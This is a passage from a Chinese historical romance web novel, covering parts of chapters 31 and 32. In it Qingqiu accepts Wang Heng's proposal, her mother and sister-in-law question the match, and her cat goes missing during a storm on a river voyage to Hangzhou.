可为何杨淮蔺看她的目光那样灼热,他看似风流纨绔,却又藏着几缕真情,清秋不解其意,总觉得那道目光不属于自己。 杨淮蔺为她提灯,与她并肩同行,松风明月,两人身影相随。 不过多时,杨淮蔺轻咳一声,开口问及清秋近况如何,又问她在青山寺的修行,仿佛是要将她的过往窥尽。 初时,清秋一一回应,只是他问着问着便走歪了话,杨淮蔺并未觉察清秋的不耐。 他问:“付二姑娘家中姊妹只你一人?” “并不,我有一个姐姐,才貌双全,温良贤淑,我自小便喜欢她。”清秋柳眉轻蹙,被月色掩住。 清秋眸光忽沉,静静沉思。 付清岁并非她一母同胞的姐姐,但却是唯一的姐姐,相伴十五年的姐姐,这无关嫡庶。 其实有没有师无涯,清秋都将这个姐姐看得很重,只是她如何向已出嫁的姐姐再诉说少女心事呢。 杨淮蔺侧目看付清秋,眸光晦暗不明,他问:“付二姑娘也要嫁人了?” 清秋心神一晃,面上仍谈笑自如,道:“我与王郎君在青山寺结缘,我已答应他的提亲,中郎将是想讨一杯酒喝?” 杨淮蔺微怔,紧了紧手中的琉璃灯,心下涩然。 清秋悄然凝眉,她觉察到身侧之人的落寞情绪,是在因她要成婚嫁人而怔忡? “付二姑娘,犹记两年前,付家郎君的谢师宴,我曾远远见过付二姑娘。”杨淮蔺眸光深沉,陷进回忆。 他隐约记得,那山水屏风后的人,一袭粉衣长裙,手中绞着绣帕,姿态羞怯,只可惜没能看清她的脸。 “原是如此,当日见过的人实在太多,倒未曾见过中郎将。”清秋淡声道。 杨淮蔺的话太多了,清秋不动声色地叹了口气。 “付二姑娘往后若是受了什么委屈,可来寻我,当年救了你,如今还可再救一回。”他眼尾轻挑,调侃道。 清秋唇边笑意凝滞,眉心深蹙,哪有还未出嫁就咒人出事的。 “中郎将多虑了,我与王郎君情投意合,自有将来夫君护着我,当年之恩,没齿难忘。”清秋无奈道。 这中郎将实在太怪了。 清秋只盼着能快些出宫,正想着,身后忽然有人唤她。 闻声,清秋眉眼带笑,心中安稳起来,忙转过身与他对视。 “王郎君。” 王恒远远一眼便瞧见她,只是不敢确认,待到走得近些了,他才笃定是清秋。 “中郎将。”王恒躬身作揖。 杨淮蔺目光骤然一冷,只随意还礼,道:“王郎君怎会在此?” 王恒听罢,笑言:“刚巧路过,王郎君与付二姑娘相识?” 清秋已站至王恒身旁,含笑道:“多谢中郎将相送,他日我与王郎君成亲,定邀中郎将喝一杯。” 杨淮蔺对王恒没由来的敌意,叫清秋头疼,王恒毕竟是她将来的夫君。 无论杨淮蔺出于何意,清秋都不愿见王恒受委屈。 “王郎君与付二姑娘瞧着不甚相配,听付二姑娘说你二人尚未定亲下聘,总归只是两厢有意,王郎君若我也有此意呢?”杨淮蔺眸光锐利,如同刀锋,让人胆寒。 什么叫他也有此意? 清秋眸光凝滞,一时之间不知该说些什么,也不知该作何表情。 方才杨淮蔺与她说那么些话,原来就是是因为他想娶她,太荒唐了,清秋被这想法激得后怕。 她和杨淮蔺不过一面之缘,一次救命之恩,怎么就到了要谈婚论嫁的程度。 太恐怖了。 清秋拧眉腹诽。 王恒虽不习武,但自幼饱读诗书,以君子之风相对,倒也不显单薄。 “中郎将此言差矣,我与清秋两情相悦,相识两载有余。中郎将,我心悦清秋,爱重她的一切,倘若她不愿,我自然不强人所难,可清秋心中有我,如此,就算中郎将强取豪夺也非君子作为了。” 王恒向来稳重,很少说出这样的话,他将那半年之期隐去,只说两人情投意合,如此一来叫杨淮蔺也说不出别的。 清秋心知王恒此举是为她说话,一来打消中郎将的心思,二来其实也是提醒她。 自三月起到如今已有半年,她答应王恒的半年之期已经到了。 杨淮蔺勾唇道:“付二姑娘的意愿自是比什么都重要的。”话落,他目光怔怔地看着清秋,似在看她,可他眼中的情意却又不像是在对她诉说。 清秋回避杨淮蔺的目光,王恒上前挡在清秋身前,沉声道:“中郎将。” 杨淮蔺见此,不多停留,只涩然道:“王郎君,还请好生待她。” 语毕,杨淮蔺扬长而去。 长月如钩,那抹缃色身影消失在宫墙深处。见他走远,清秋回过神来,抬眸深深地望向王恒。 “王郎君,中郎将曾救过我一命,我与他只救命之恩。”清秋淡声说着。 寂寥凉夜,王恒不动神色地垂眸,眼底蔓延着让人不看清的情绪。 她和杨淮蔺,只救命之恩,别无他情。 王恒转过身,唇畔含笑,只说了句,“我知道。” 清秋一时怔愣,她以为王恒会问她定亲一事,问她是否想好,半年之期已到,他并未着急问她。 王恒凝神看着她,问:“你愣着作甚?清秋。” 清秋眸光莹亮,恍然抬眼,漆黑明亮的眸子倒映着眼前松竹般的人儿,她从王恒身上窥见最多的,便是这温文尔雅的公子之风。 “常也,半年之期已到,我愿意嫁给你,你可还愿意娶我?”清秋郑重言明心思,她眼中只一轮明月和一身天青的公子。 王恒微怔,直直盯着她,仿佛是被人定了身,摄取了神魂。 他等这句话,等了半年,或许更久。 可他却不敢深信这句话,清秋曾说她爱过一个人,为那人几度自戗,形销骨立,那她当真忘了那人吗。 王恒眼底漫上踌躇怔忡的情绪,他犹豫彷徨。 “清秋,你心静了吗?”王恒目光温和,如同春日暖风,能叫人忘却所有。 清秋笑道:“自然。” “我心昭昭,常也,我是真心想嫁你为妻,琴瑟和鸣,举案齐眉。”清秋眸光灿灿,仿佛见到他二人婚后的良辰美景。 王恒掩不住心中欢喜,竟一时激动,握住清秋的手,仿若劫后余生的庆幸,他道:“你愿意便好。” 这比什么都好。 两情相悦,喜结良缘,这是世上最好的姻缘。 此夜月明星稀,风吹得格外轻,轻柔地抚摸着汴京的一切。 王恒一路护送清秋回付宅,他珍重而欢欣地紧握着她的手,不敢太重,不敢太轻,怕是一场镜花水月的幻梦。 清秋看他如此紧张,不由得笑出声。 “常也,到了。”清秋掀帘往外望。 付宅门前韦氏正和李妈妈候着,见有马车来,李妈妈忙上前去,朝里问道:“可是姑娘回来了。” 王恒亲自送她回来,坐的是王家的马车,李妈妈不敢造次,只静静站着问。 马车帷幕被一只纤白瘦削的手掀开,清秋半弯着腰,眉眼含笑。 “李妈妈,辛苦你了。”清秋柔声道。 李妈妈眯着眼笑道:“姑娘哪里的话,夫人正等着你呢。” 李妈妈正欲抬手扶清秋下马车,却见帷幕身后,有一翩翩少年现身,最终是王恒扶着清秋下马车。 韦氏眸光大震,面上不显,只上前道:“有劳郎君相送了,可要进宅吃杯茶?” 王恒谦顺道:“夫人客气,只是天色不早,恐家中母亲担忧,便先回了。” 听罢,韦氏亦不多留,只和清秋在宅门前目送王恒,临行前,清秋视线百转千回,停留在王恒身上。 王恒虽未与她对视,但却能感受到她倾注的目光,他垂首低笑。 二人的眉眼官司被韦氏一览无余,待王恒走后,韦氏便拿着清秋问:“你当真对王家郎君有意?只要你心中欢喜,我无有不依的。” 王家到底汴京里数一数二的门户,清秋若欢喜,随她去了便是,韦氏心下想着。 清秋眉心轻蹙道:“母亲,不希望我嫁这样的人家吗?” 韦氏道:“什么样的门第配什么样的人家,若你喜欢上乞儿,未必我要遂了你意?你要如此任性,我情愿当初未有你这个女儿,你只要不太过任性,汴京那家的郎君不高看你一眼?” 汴京里有几个郎君见过她,就是高看她一眼,不过是看在哥哥和父亲的面子,又岂是因她自身。 若没有这样的出身,她恐怕没得选。 清秋心生郁闷,淡淡道:“王郎君喜欢我,并非出身。母亲说的什么乞儿,倘使我真的喜欢,又何须在意他的出身,我若喜欢,便是最要紧的。” 韦氏听她这番话,心头大怒,当年已是大闹过一回,如今清秋仍这般想,岂非还在意师无涯? 可又听她答应了王恒,韦氏不好发作,只当是女儿的一时戏言。 “喜欢是最不要紧的。门当户对才是最要紧的,与你相配的,许你一生无虞的,待你好的,才是最要紧的,傻姑娘,你不要犯浑。”韦氏语重心长地说着。 眼见着到了杏院,清秋不欲与母亲争辩,只道:“晓得了,母亲我累了。” 韦氏晓得她的意思,无奈道:“母亲,都是为着你好。” 韦氏恨不得将全天下最好的金玉珠宝捧到她跟前,可这个女儿怎么就是不开窍,一步一步走得越来越远。 清秋抿唇苦笑,道:“母亲,我晓得的,你是为了我好。” 回杏院时,已将近戌时,清秋净面脱妆,云露绿柳要进屋伺候,清秋掐灭灯烛,扬声道:“歇下了。” 待她二人走后,清秋便有燃了一盏灯,室内一豆灯火,清秋起身去猫笼里放出瞳瞳,它尚且清醒,见清秋靠近,翻着肚皮撒娇。 昏暗房间里,瞳瞳的异色双瞳格外明亮,清秋伸手将它抱了出来。瞳瞳离了猫笼,在房内乱跑,清秋恐它撞着桌子,忙去追它。 夜里安静,清秋捧着一盏油灯,小声唤它:“瞳瞳,瞳瞳别跑。” 瞳瞳一溜烟蹿到了书架下,清秋见它窝在书架墙角,里头灰扑扑地一片,它爪子扒拉着什么,清秋放好灯盏,趴下身去抓它。 清秋抓着瞳瞳的后颈使力把它揪了出来,它的爪子挠着纸团,直到被揪出来还在玩纸团,清秋手臂上沾满了灰,瞳瞳喵了一声,登时肚皮朝天撒娇。 清秋抱起瞳瞳,先把它放回猫笼,随后捡起那纸团。昏黄的灯烛下,清秋凑近了才看清,是碧色印花笺。 笺纸上铺满灰尘,仿佛藏在书架下许多年,当年她随手扔的印花笺,到如今才捡起来,清秋晓得里头的内容,不过是少女时的心事。 清秋铺开笺纸,拈起笺纸一角将其烧毁。 随笺纸一道烧毁的还有她对师无涯的情意,师无涯与她形同陌路。清秋眸中映着跃动的火舌,看着笺纸一点点被火焰吞没,将要燃到指尖时,清秋蓦然松手,踩灭火星。 30-40 第31章 由爱故生怖 时至深秋, 汴京城外枫林又红遍满山,秋风萧瑟,宅中只余松柏常青。 自宫中夜宴过后, 韦氏也知那春风得意的少年将军竟是师无涯, 付彰与付远衡在家中再不提少年将军。 虽说如此, 但付远衡仍在心中赞叹其才能,只是当年的事,却无法和解。 师无涯与付家恩断义绝, 再不往来,如今潇洒回京, 还不知他心中对付家有何看法, 付彰在心中几度揣摩,最终没个结论。 韦氏近来为此事头疼,清秋虽与王恒情投意合, 可往日里,清秋对师无涯情深意重, 为他神魂失守,如今师无涯乍一回京,还不晓得有无变数。 韦氏心中记挂着这事, 却又不能与清秋直言, 只怕勾起些不好的回忆。 这日午后晴空如洗,云淡风轻,秋风卷着庭前落叶。 清秋在正房里与韦氏说话, 韦氏一袭豆绿衣裳,绾着光洁的发髻,坐在榻上闲闲吃茶,清秋支手扶额, 撑着小几,手中捧着半卷书。 此刻闲静安然,忽地一声,李妈妈掀帘而进,急急赶来,只见里屋姑娘在看书,忙慢下脚步,道:“惊扰姑娘了。” “不妨事的,本就是闲书。”清秋抬眸轻笑。 李妈妈亦笑道:“姑娘当真是个性子好的。” 闻言,韦氏看清秋一眼,神情复杂,韦氏朝李妈妈道:“是有人来了?” 清秋放下书,听她二人说话。李妈妈上前一步,本想单独说与韦氏,可瞧着清秋这副认真静听的模样,只好顿住脚。 “倒不是人,是礼。”李妈妈讪讪道,“又是国公夫人送来的贵礼,这回倒与往日不同于了,多送的是吉利的物件,又抬了好几箱金玉珠宝,说是赠与姑娘玩的。” 先前国公府也送过不少礼,只是这回格外郑重。 清秋微微蹙眉,眸光一转便想到了其中缘由,道:“是王夫人赠我的,收下罢,只记在我名下,不要收到母亲房里。” 如此一来,日后韦氏也就不用还礼了。 韦氏问道:“你当真是要答应了?话先说在前头,你如今在家一日有你爹和哥哥担待着,再不济,我豁出面子保全你,可你要是嫁了人,便不可再像往日那般行事,你可晓得?” “国公府是什么样的人家?是由不得你胡来的,王夫人陈氏是世家大族,王国公又有胞妹王贤妃在宫中承宠,王家郎君又是国公唯一的嫡子,你将来可能待得住?清秋,从前我盼着你嫁个好人家,总不至于叫你受委屈,可如今看来,哪儿都不是好去处。” 韦氏长叹一声,李妈妈跟着皱眉,李妈妈劝道:“夫人,这是姑娘的福气,日后定然会顺风顺水,夫人关心则乱,说这些别叫姑娘心里害怕。” 往日里韦氏只想让清秋嫁得高门,一生锦衣玉食,可当真有这样的好事摆在门前,韦氏心里却打起了退堂鼓。 清秋安慰韦氏,柔声道:“母亲,是福不是祸,是祸躲不过,不论嫁与谁,都有这一遭,公公婆婆小叔子,小姑子,都会有的,只是国公家高门显赫,水更深些,女儿心里有数,母亲别再为此事伤心了。” 清秋抿唇,为韦氏斟茶倒水,韦氏长舒口气,哪里能真正放下心来,只是此刻不知再说些什么。 晚间用过饭后,韦氏身累,便让清秋与吕氏先离开,清秋扶着吕氏,二人饭后漫步。 秋日的霞光,与山间红枫共色,从天边的一处蔓延至另一处,霞光铺满汴京,如同细碎的金子悬浮在空中。 吕氏步履虚浮,额间冒有虚寒,清秋忧道:“嫂嫂,要不先回屋歇歇?” 吕氏摇头,眼中含笑,道:“可还记得那日集英殿内,你对我说的话?” 清秋自然记得,只是她并未深究,吕氏是她的嫂嫂,饶是晓得了过去的事也不会声张,因而她并未在意此事。 这件事,不必想也知道是谁说的。 清秋颔首,道:“定然是大哥说的,大哥平日里不苟言笑,向来在意规矩,这件事我将其判在家丑之内,想必大哥也是如此想的,可大哥还是告诉嫂嫂了。” “可见大哥心里也没什么规矩。”清秋挑眉打趣付远衡,她侧目观察吕氏的神情。 吕氏性情温良,待她又是极好,因而她故意做出这副样子,为的就是卖哥哥一个人情。 此话一出,吕氏倏然红了脸,眸光乱转。 这话不明摆着说付远衡为了她连规矩礼仪都不要了。更何况,付远衡极守规矩,与付彰如出一辙,甚至还更严苛。 家丑不可外扬,饶是亲嫂子,也不该说出去。 清秋乐得眉花眼笑,吕氏羞赧道:“你这张巧嘴向来不饶人,稍熟些了,连我都要被你打趣,可见你真真是家中的小霸王。” 闻言,清秋挽着吕氏的手腕,故作委屈道:“可我说的是实话,嫂嫂是觉得我说错了?” 吕氏不欲与她争辩,正色问:“这几日风头正盛的少年将军便是你曾经的心上人?那你如今再见他,心中作何感想?” 清秋眸光一暗,别开眼,眼前是杏院旁的荷花池,当年她就是在此与师无涯恩断义绝,扬言要恨他一辈子。 她想不恨他的,可却忘不掉曾经对师无涯低声下气,将自己的尊严碾在地上。 清秋在青山寺中读过许多书,书中赞叹梅花高洁,又说名士不肯摧眉折腰侍权贵,可她却因一丝薄情要折了傲骨。 从前师无涯高傲,对她不肯低头,而她低头折节追在他身后如同乞儿。 乞求什么?求一份真情。 如今回想起来,清秋只觉可笑。 情之一字,催心折肝,可要为了这一个字,抛了自尊自傲,那便是最荒唐的事。 青山寺的两年,每读一卷书,清秋便恨师无涯一分,从前她打碎自身的傲气,如今她又一点点的捡了回来。 她恨师无涯,恨之入骨。 吕氏不同于韦氏的试探犹豫,而是单刀直入,将她平静的心一下子击得七零八碎,她思索着要如何回答韦氏的问题。 清秋望着枯荷残枝失神,良久,她静静道:“不如何,只不过是父亲的旧友之子,在付家借住过几年。我从前确实喜欢他,只是那是从前的事,往事只堪哀。” 吕氏悄声叹气,垂眸凝视着她,她听清秋说得轻松,可这“往事只堪哀”的下一句是,“对景难排”。 吕氏目光生怜,颇为惋惜地看着清秋。 小女儿家的心思,她是懂得的。就像当年她父亲为她定下张家四郎的亲事,她不情愿,奈何父母之命,媒妁之言。 纵使再不情愿,她还是得嫁过去。吕氏对婚姻的期盼只有“举案齐眉”这四个字,若是张家四郎与她能够如此,她这一生忍一忍也就过去了。 吕氏刚开解好自己,却听父亲说张家获罪贬到岭南,张家四郎不愿拖累她,恳请退婚。吕氏听说,只觉张家四郎是个品行高洁的君子,她想就算被贬,只要夫妻齐心总归会有好日子过。 于是她向父亲言说,想要嫁给张家四郎,可奈何张家四郎一心想要退婚,又远赴岭南,她只得作罢。 因退婚一事,吕氏的婚事一拖再拖,直到前两年,付远衡向秘书省少监提亲,吕氏才得以嫁入付家。 说来也巧,付远衡那时是昭文馆学士,他的恩师便是吕氏的父亲,吕氏与付远衡相识已久,吕氏只觉嫁谁都是嫁,便允了父亲。 不过这些事,清秋不晓得,她只知吕氏与付远衡极为相配,又兼青梅竹马。 吕氏领清秋坐到池边亭下,道:“清秋,只要你欢喜,无论做什么,嫂嫂都是应允的,许多事我不晓得,可是嫁人还需想清楚。” 清秋单手支着下颚,目光眺向眼前的枯荷池,因她曾经要跳池,这池水被填高了。 “嫂嫂,我想得清楚,看得明白,我愿意嫁给常也,是我深思熟虑的决定,绝非一时气话或是戏言。”清秋一字一句地说得清晰坚决,眼中更是笃定。 吕氏微怔,那些劝她好生想想的话都哽在喉间,吐不出来,咽不进去。 “嫂嫂,过几日我要回一趟杭州,我有东西落在哪儿了,我要拿回来。嫂嫂,我不在的这几日,你要保重身体,待我从杭州回来,我便和常也定亲。” 清秋起身伸个懒腰,秋风吹拂她的衣裳发钗,在薄薄秋风中,清秋如同轻巧的枝叶,仿佛一吹就随风飘走。 吕氏仰头看她,无可奈何地叹道:“只你欢喜便好。” 清秋杏眸明亮,眉眼弯弯,笑道:“嫂嫂多虑了,我心似明镜,早已为自己想好了,嫂嫂不必担忧。” 自那日过后,清秋便向韦氏说明要回杭州旧宅,说是要取一件旧物,韦氏心中有疑,一个劲地追问,清秋却不肯说,只说到时候便回来。 韦氏拧不过她,只气道:“你要回就回,把那宅子卖了也成,我和你父亲是再不会回杭州了,你可晓得?” “当真要卖?”清秋凝眉问道。 那宅子是她们一家人曾生活过的地方,虽说宅子比汴京的小了许多,可也是承载了儿时记忆。 听见此话,李妈妈忙道:“夫人可别说气话,老夫人心里是有您的,日后回了杭州也有个去处不是?” 李妈妈朝清秋使眼色,清秋会意,劝道:“母亲是因我生气,故而说了昏话,我权当作没听见,成不成?” 韦氏哼声,别过眼,不与她说话。 清秋见此也不急,心里已经有了对策,李妈妈忙退开一步,清秋起身坐至韦氏身边,挽着韦氏的手,睁圆了眼睛。 “阿娘,你是气我的,我都晓得,阿娘,不要生清秋的气,这回我便也回去瞧瞧外祖母替您带个话如何?”清秋蹭着韦氏的臂弯,如同猫儿直往人怀里钻。 相较于两年前,清秋撒娇的招数显然不太实用,从前她可以窝在韦氏怀里,如今却只能倚在母亲的臂弯。 招数虽然拙劣,但对韦氏是好用的,韦氏眸光渐沉,叹道:“你愿去便去,记着你自个儿的话,清秋,向外祖母问一声安好。” 韦氏悄然别开眼,低声说着,韦氏不让清秋多留,让李妈妈送清秋出去。 回一趟杭州山高水远,临行前几日,清秋去了一趟青山寺,清秋先去大殿上香,而后等元圣元智诵完经。 元智见清秋来,早课后忙不跌地奔向寮房,清秋专程备了百花糕,元智来后不久,元圣紧随其后。 元智坐在亭子里一口一个百花糕,元圣正欲说他,却听清秋说及要回杭州一事。 元智一听,急着要说话,一时紧张,糕点哽在喉咙里,清秋忙倒了杯茶,笑道:“你急什么,有没人和你抢,两碟还不够你吃?” 元圣解释道:“元智师弟是从杭州捡来的,师父当年见元智孤苦伶仃,便带回了汴京。” 清秋顺着元智的背,心下了然,“原是如此,这有什么好急的。” “付二娘子,我可以和你一起回杭州吗?”元智灌了好几口水,满眼希冀地望着清秋。 元圣在一旁垂首不语,仿佛是默认了元智的话,清秋倒觉得没什么,只不过是多了一个人,但要带元智走恐怕还需方丈松口。 清秋问:“空绝师父能答应吗?” 元智咳了咳,道:“师父说过会带我回一次杭州,定然会答应的,付娘子,就带我去吧。” 听元智如此说,清秋不好推辞,况且元智本系杭州人氏,来汴京之后定然未再回过杭州,元智元圣二人忙去寻空绝。 元智哭丧着脸,苦苦哀求,元圣在一旁帮腔,清秋则是最后假装路过,便也说了几句好话。 空绝白眉耷拉着,叹道:“是我当年答应你要带你回去,如今我抽不开身,倒是劳烦付二娘子了,元智道心不稳,这些年只当他个孩子教养,也未让他遁入佛门。” 原是如此,清秋这才明白为何元智向来不忌口,还在寺中酿酒吃肉。 元圣道:“师弟这么多年都为静下心来,有朝一日,终要还俗。” 元圣望着元智与清秋远去的背影,满眼无奈,空绝手中捻着佛珠,眯着眼。 “元智有自己的缘法,心不在这儿倒也无妨。” —— 同空绝方丈和元圣请辞后,清秋带着元智下山,元圣为元智备了几套衣裳,临行前嘱咐元智不要在外贪吃,元智一一点头,极其认真地保证。 回汴京后,清秋命云露收拾好衣裳行李,让绿柳去看顾瞳瞳,清秋让李妈妈为元智收拾一间厢房暂住一晚。 云露和绿柳交换了差事,清秋从正屋回来时,绿柳在收拾包袱,云露正逗着瞳瞳。 付彰得知清秋要回杭州去,也说让她将杭州的宅子卖了,清秋只好带着田契,但那宅子她却还未想好要不要卖。 次日一早,清秋留了封信交给李妈妈,那信是交与王恒的,她一时决定回杭州还未和王恒说,启程的日子早,来不及与王恒面说,只好如此。 清秋回杭州一事,于王恒来说有些突然,只是等他得知时,清秋已然寻了客船南下。 他与清秋定亲在即,清秋却在这个节骨眼上回杭州,王恒心下慌张,恐清秋悔话,可当日在宫中,清秋说愿意嫁给他。 她愿意嫁给他,还唤了他的字,一时间,王恒陷入反复揣度之中,不由得去猜测清秋曾喜欢的那人。 佛曰:由爱故生忧,由爱故生怖。他因清秋而陷入忧虑,这无法从心头消解,唯有将定亲一事,早早地提上日程,才能叫他安心。 在与清秋不多的接触中,王恒当真搜寻出一个可疑的人。 当年付家的谢师宴,他在付宅中迷路,撞上清秋,还未等他开口,清秋便喊了那人一声。 那时他太过欢喜,在清秋俏皮灵动的双眸中失了魂。 而忽略了那人。 思及此,王恒命观墨去查那日出现在付宅中的人。 —— 清秋所乘客船长十多丈,深三丈,阔二丈五尺,一路乘船的南下的客人数不胜数,船艏的甲板外挑,造有楼台。 舱室里清秋凭窗望着滔滔不绝的江水,云露元智在一旁逗着瞳瞳,因怕它乱跑,清秋不曾将它放出来。 吕氏本欲留下瞳瞳,但清秋想着,它在付宅无人照料,韦氏不喜狸奴,吕氏又要顾念着小侄儿,倒不如将瞳瞳带在身边。 绿柳守在清秋身边,陪她看遥遥青山,粼粼江水。 “有些闷,我出去走走。”清秋余光瞥见绿柳,轻声说着。 清秋利索起身戴上幂篱,绿柳随即追上前去,忙道:“姑娘,我陪着你吧。” 云露听见动静,抬头望向绿柳,“绿柳姐姐,歇歇吧,瞧你站了这么久,跟我和元智玩会罢。” “你瞧瞳瞳多可爱,这么可爱的狸奴,绿柳姐姐你当真一点都不喜欢?”云露睁大眼睛,学着瞳瞳喵了一声。 元智没绷住捧腹大笑,云露凝眉揪起他的耳朵,“笑什么笑,笑笑笑,就知道笑笑笑。” “我错了,我错了,云露姐姐饶了我饶了我。” 绿柳看他二人嬉闹,眉头轻拧,随后又看了一眼瞳瞳,却没有过去,仍旧站在窗边。 清秋出了船室,此刻霞光渐浓,江面浮起碎金,同行江南的游人倚在船舷,享受着这江面长风,秋高气爽,使人心神开阔。 清秋着鹅黄杏花齐胸襦裙,肩上碧色披帛交缠,颇有几分春日气息, 青山寺位于城外半山腰,此时九月中旬,半山腰的红枫已显露,从汴河回首望去,可窥见群山一点红,如同姑娘家所用绫罗披帛,延绵轻薄。 隔着一层薄纱,清秋看不太清远景,只知道那方就是青山寺。 清秋走至船舷边,眺望平阔的江面,回杭州她要做些什么,又要拿回什么,清秋并未想好,所落下的东西,其实是一段旧忆。 师无涯所送的簪子可以丢,写下的印花笺可以烧,可是那真切的十二年,要抹去并非易事。 清秋失神地注视前方,纵使有再豁达的诗书,也抵不过乱成线的思绪。 江心升起明月,一轮弯月倒置其中,江面急风骤起,船帆吹得呼呼作响。 “姑娘,江上风冷,且先进去吧。”绿柳出来劝道。 江上秋风瑟瑟惹人寒,确实冷得人发颤,甲板上所站的人悉数回船室,清秋迟了会,便等着人都进了再回去。 清秋打眼望了望正对面的一黑衣人,那人衣如松墨,长缨挽发,随风飘摇,皎皎明月之下,颇有浪客意境。 只是那身形,瞧着有些眼熟,清秋微眯着眼,正欲撩开幂篱,却听绿柳开口。 “姑娘,这会没人了。” 清秋颔首,只得就此作罢,转身进了船室。 夜里清秋睡得不安稳,竟梦到她在船舷处所见的黑衣人,梦里她要掀帘细看那人时,一个风浪忽然从江心卷起来,足足卷起十多丈。 清秋吓得冷汗涔涔,从睡梦中惊醒,刚醒不过片刻,船室陡然晃荡起来,一阵又一阵地随着江浪起伏。 清秋起身披衣,支开船窗,只见江心明月扭曲晃荡,劲风吹入船室,清秋倒吸一口凉气,被吹得脸僵手冷。 正欲出船室时,外头哄闹起来,一缕烛光透进船室,随着熙熙攘攘的声音聚集在一起,听不清首尾。 “这船不会要翻了吧,我的老天爷啊,我上有老下有小!” “这可怎么办,这前后无路的,纲首呢纲首呢!老娘要到官府告你。” “别扯了,死了到哪里告。” 招头进船室扬声一吼,“大伙别嚷,只是些小风浪,梢工什么没见过,诸位进船室歇着,把心放到肚子里。” 他一发话,外头陡然静下来,只是这颠簸还没停下来,一浪高过一浪,起起伏伏。 清秋正欲坐下,却总觉心慌,她好似忘了什么。 正想着,清秋倏然站起身,船身一荡,清秋险些没站稳,差点滚到地上。 “瞳瞳!瞳瞳!” 清秋往猫笼处去,凭着一点烛光,清秋看着空荡荡地猫笼,大惊失色,心头陡然惊骇,顺着那一点烛光,清秋忙推开船室移门。 大片烛光照进船室,猫笼半开半掩,里头不见瞳瞳身影。 第32章 离了她竟是那般的痛苦 船室外围着许多人, 布衣锦绣交杂,船上灯烛明亮,方才喊话的招头已然出了船舱, 原先吵嚷的人拧着眉散了。 清秋在地上找寻着瞳瞳的身影, 除却行走飘荡的裙裾, 再无其他踪影,方才船舱内那么多人,哄闹之间恐怕也未曾注意有狸奴蹿过。 趁着人还未散尽, 清秋眼疾手快,就近拉过一个包着头巾的妇人, 急急问道:“好姐姐, 你方才可有看见白色狸奴,就这么大,双瞳异色, 通体雪白。” 妇人眉头紧皱,睨她一眼, 哼声道:“什么狸奴?没瞧见,要是有这船上这么颠簸,也早不知滚到哪里去了, 指不定是掉到江里或是被人捉走吃了。” 清秋心口发颤, 一口气哽在喉头,妇人挑唇哼笑,似在幸灾乐祸。 “你胡说!”清秋一把推开她, 恰逢船身遇浪,妇人没站稳,一屁股摔在地上喊疼。 “你推老娘?唉哟!唉哟,大伙来瞧瞧, 仗势欺人了。”妇人中气十足地吼了两嗓子,见有人出来观望,忙捂着腰腿哭爹喊娘。 云露绿柳闻声从另一头赶过来,清秋回首横那妇人一眼。 “你故意唬我,我不过轻轻推了你,你便在这里胡搅蛮缠,当真以为我是拿好拿捏的软柿子?我的狸奴不见了,下了船谁也别想走。”清秋眸光一凛。 绿柳见此,赶忙进屋取了幂篱,船舱聚集的人越来越多,清秋顺手接过幂篱,语气森然。 “仗着我是个小姑娘,就仍由你撒泼了?我是推了你,你受了什么伤,下了船请大夫看,医钱我来出。”清秋见此时人多,扬声道,“谁见到一只通体雪白的狸奴,若有人寻到必有重谢。” 话音刚落,船舱静默不语,其中有人不屑开口。 “谁知道什么重谢,你这小娘子信口拈来,谁要给你找猫,你瞧瞧这船都不稳,谁要搭上命给你找猫。” “就是就是,你能拿得出多少钱。” 周遭嘈杂的声音交杂在一起,无非是在说如何的艰难,而这一切不过是抬高筹码的说辞。 清秋飞快摘下腰间的和田白玉,莹煌灯光中和田玉质地温润,晶莹剔透,只一眼就叫人挪不开眼。 “谁找到狸奴,这块玉就归谁。”清秋扬声道。 只要出得起价钱,没有人会不卖命。 不识货的路人还在啧声,也有识货的已经在暗自搜寻,云露见状,跟着喊一句,“姑娘,这是老爷留给你的和田玉啊,只这一块就值上百两。” 话音甫落,船舱内人头攒动,无人顾及摔在地上的妇人,云露元智分头去寻瞳瞳,清秋和绿柳往甲板去找。 船不知行到了哪里,船舱里摇摇晃晃,几乎站不稳人,去船艏找猫的一批人畏首畏尾地退了回来。 清秋扶着船沿,堪堪稳住身子,正要迈出去时,绿柳出声拦道:“姑娘,过会再找吧,这会浪这么大,瞳瞳始终是一个畜牲,不值得姑娘拼命啊。” “住嘴!” 绿柳打小跟在清秋身边,从未听过她呵斥过自己一句,听到这句话绿柳一时失神,顿觉胆战心惊。 清秋摘了幂篱,逆着风往船舱去,江上狂风夹着细雨,一点点扑打在脸上。 在船艏找了大半圈,清秋没瞧见瞳瞳的身影,风浪一层层迭起,不知何时,江上风浪平息,清秋浑身沾着雨,鬓发贴在脸颊,雨水模糊她的视线。 泪水和雨水搅在一起,清秋紧咬着唇,眸中无光,失魂荡魄地往回走,能找的地方都已经找过了。 瞳瞳丢了。 她从尹惜手中接过瞳瞳,不过才一个月大点,她把瞳瞳养在身边,每日悉心照料,已经有了半年之久,早知道早知道就该将瞳瞳留在汴京。 绿柳上前扶清秋,清秋眼睫低垂,如同抽丝木偶往船室去,绿柳跟在身后。 回到船室里,云露和元智空手而归,清秋撑着一口气,眸光颤颤地望着移门,捶打双腿,云露看得心疼,却也不知说些什么。 船室里一片沉寂随后陷入死寂,清秋眼底溢出泪珠,哽咽着不出声,她盼着下一刻瞳瞳会出现在移门前。 空等了许久,清秋垂下眼睫,泪水如断了线的珠子砸在手背。 “喵~” 空寂的船室忽地传来一声猫叫,清秋猛地抬眼,却见移门后瞳瞳趴在地上,云露绿柳忙转身要去抱过来。清秋想也不想地奔到移门前,轻得不能再轻地抚摸瞳瞳,她想抱一抱瞳瞳,可她身上是湿的,瞳瞳会生病。 清秋全身心放在瞳瞳身上,未曾发觉,船舱里一闪而过的墨色身影。瞳瞳似是感受到了什么,它翻着肚皮,伸出爪子勾着清秋的手。 “瞳瞳。” “喵~” 云露忧道:“姑娘先去换一身衣裳吧,瞳瞳回来了,姑娘别再难过了。” 元智盯着瞳瞳,眉头轻轻拧起,疑道:“瞳瞳颈上的平安符不见了欸,许是平安符救了瞳瞳一命呢,付娘子,别再伤心了。” “好,我困了,下次一定要把瞳瞳锁好。”清秋深吸口气,眼底泛起一丝失而复得的喜悦。 绿柳服侍清秋换衣裳,云露则将瞳瞳的猫笼再三检查。 清秋声音压得很低,垂眸问绿柳:“你不喜欢瞳瞳,绿柳,方才你怎么能说出那样的话?你在我身边十几年,我在意什么,你却从来不懂。” 